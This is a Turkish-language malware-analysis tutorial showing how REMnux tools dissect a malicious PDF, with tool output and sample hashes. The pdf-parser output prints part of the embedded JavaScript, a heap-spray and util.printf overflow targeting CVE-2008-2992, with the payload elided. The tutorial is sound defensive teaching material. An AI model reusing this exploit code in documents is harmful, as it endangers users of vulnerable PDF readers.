    Zararlı kodların pdf, doc, xls gibi farklı doküman formatlarının içine gömülmesi sosyal mühendislik saldırılarında sıklıkla kullanılan bir yöntemdir. Dolayısıyla bu dosyaların da şüpheli durumlarda analiz edilmesi gerekmektedir. REMNux imajıyla gelen, doğrudan da elde edilebilecek çeşitli araçlarla PDF dosyalarının detaylı analizi yapılabilir.

    Kullanılan Araçlar:
    • pdfid
    • AnalyzePDF
    • peepdf
    • pdf-parser
    • Origami pdfextract

    Örnek zararlının SHA256 özeti: f3b30f5ecd00e3b0b74db08146b4d65bd376114da9391eb8541aee9b39974664

    pdfid.py betiği kullanılarak zararlı PDF dosyasının hangi türde ne kadar içeriği olduğu görülür. Örnekte PDF dosyasının Javascript kodları içerdiği görülmektedir.

    pdfid z.pdf
    PDFiD 0.1.2 z.pdf
     PDF Header: %PDF-1.5
     obj                    8
     endobj                 8
     stream                 1
     endstream              1
     xref                   1
     trailer                1
     startxref              1
     /Page                  1
     /Encrypt               0
     /ObjStm                0
     /JS                    1
     /JavaScript            2

     /AA                    0
     /OpenAction            0
     /AcroForm              0
     /JBIG2Decode           0
     /RichMedia             0
     /Launch                0
     /EmbeddedFile          0
     /XFA                   0
     /Colors > 2^24         0


    Daha sonra AnalyzePDF.py betiği ile PDF dosyasındaki anormallikler analiz edilir. Örnekte hesaplanan entropy değerleri incelendiğinde streamin entropy değerinin toplam entropyden büyük olduğu görülmektedir. Buradan streame encode veya şifreleme işlemi uygulandığı sonucu çıkarılabilir. Bu yüzden AnalyzePDF dosyanın yüksek ihtimalle zararlı olabileceği yorumunu yapmıştır.

    /usr/local/AnalyzePDF/AnalyzePDF.py z.pdf

    ===================================
    [+] Analyzing: z.pdf
    -----------------------------------
    [-] Sha256: f3b30f5ecd00e3b0b74db08146b4d65bd376114da9391eb8541aee9b39974664
    [-] JavaScript count.......: 1
    [-] Total Entropy..........: 5.205331
    [-] Entropy inside streams : 4.458722
    [-] Entropy outside streams: 5.183223
        [*] Entropy of outside stream is questionable:
        [-] Outside (5.183223) +2 (7.183223) > Total (5.205331)

    [-] (1) page PDF
    -----------------------------------
    [-] Total YARA score.......: 0
    [-] Total severity score...: 5
    [-] Overall score..........: 5
    ===================================
    [!] HIGH probability of being malicious


    Dosyanın zararlı olduğu yönündeki şüpheler doğrultusunda bilinen bir istismar kodu barındırıp barındırmadığı peepdf uygulaması ile kontrol edilir. Örnek dosyanın “CVE-2008-2992” olarak CVE id atanmış bir zafiyeti istismar etmeye çalıştığı anlaşılmıştır.

    peepdf z.pdf
    File: z.pdf
    MD5: c9f23077dbd6537db976016efe5f9206
    SHA1: 846345e38038e290d11524819f41422a0213b74a
    Size: 3197 bytes
    Version: 1.5
    Binary: False
    Linearized: False
    Encrypted: False
    Updates: 0
    Objects: 8
    Streams: 1
    Comments: 0
    Errors: 2

    Version 0:
        Catalog: 1
        Info: No
        Objects (8): [1, 2, 3, 4, 5, 6, 7, 8]
            Errors (1): [8]
        Streams (1): [4]
            Encoded (0): []
        Objects with JS code (1): [8]
        Suspicious elements:
            /Names: [1, 7]
            /JavaScript: [6, 8]
            /JS: [8]
            util.printf (CVE-2008-2992): [8]




    Bu noktada dosyanın zararlı olduğu kesinleşmiştir. Bilindik bir zafiyet olmaması gibi durumlarda bu aşamada da kesin kanıya varılamayabilir ve analize devam edilmesi gerekir.

    Pdf-parser.py betiği kullanılarak PDF’in bölümleri parse edilip içerikleri görüntülenir. Çıktıda gösterilen bölümde heap overflow + heap sprey yapmaya çalışan zararlı Javascript kodu açıkça görülmüştür.



    pdf-parser.py z.pdf
    PDF Comment '%PDF-1.5\r\n'
    ………
       /S /JavaScript
        /JS '(\r\nvar temp =
    ……..
    \r\nvar pl= temp.replace('
        /U9htL '/g, "%u");\r\nvar payload = unescape(pl);\r\n\r\nvar nop = "";\r\nvar nopvar = "t8zV9090t8zV9090t8zV9090t8zV9090t8zV9090";\r\nvar nopesc = nopvar.replace('
        /t8zV '/g, "%u");\r\nfor(iCnt=128; iCnt>=0;--iCnt) nop += unescape(nopesc);\r\nheapblock = nop + payload;\r\nvar nopbl = "8T490908T49090";\r\nbigblock = unescape(nopbl.replace('
        /8T4 '/g, "%u"));\r\nheadersize = 20;\r\nspray = headersize+heapblock.length;\r\nwhile (bigblock.length<spray) bigblock+=bigblock;\r\nfillblock = bigblock.substring(0,spray);\r\nblock = bigblock.substring(0, bigblock.length-spray);\r\nwhile(block.length+spray < 0x40000) block = block + block + fillblock;\r\n\t\r\nmem = new Array();\r\nfor (i = 0; i < 1400; i++)\r\n\tmem[i] = block + heapblock;\r\n\r\nvar num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888\r\nutil.printf("%45000f",num);\r\napp.alert("you should not be able to read this");\r\n)'
    …….
    PDF Comment ‘%%EOF'


    Ayrıca PDF’in belli bölümlerini ayrıştırıp dosya olarak kaydetmek için Origami paketinden pdfextract betiği kullanılabilir. Örneğin sadece Javascript’leri ayıklamak için “pdfextract —js z.pdf” komutu kullanılır. Böylece ayrıştırılan dosyaları “jsdetox” gibi farklı uygulamalarla analiz etmek mümkün olur.
    Viewing all 331 articles
    Browse latest View live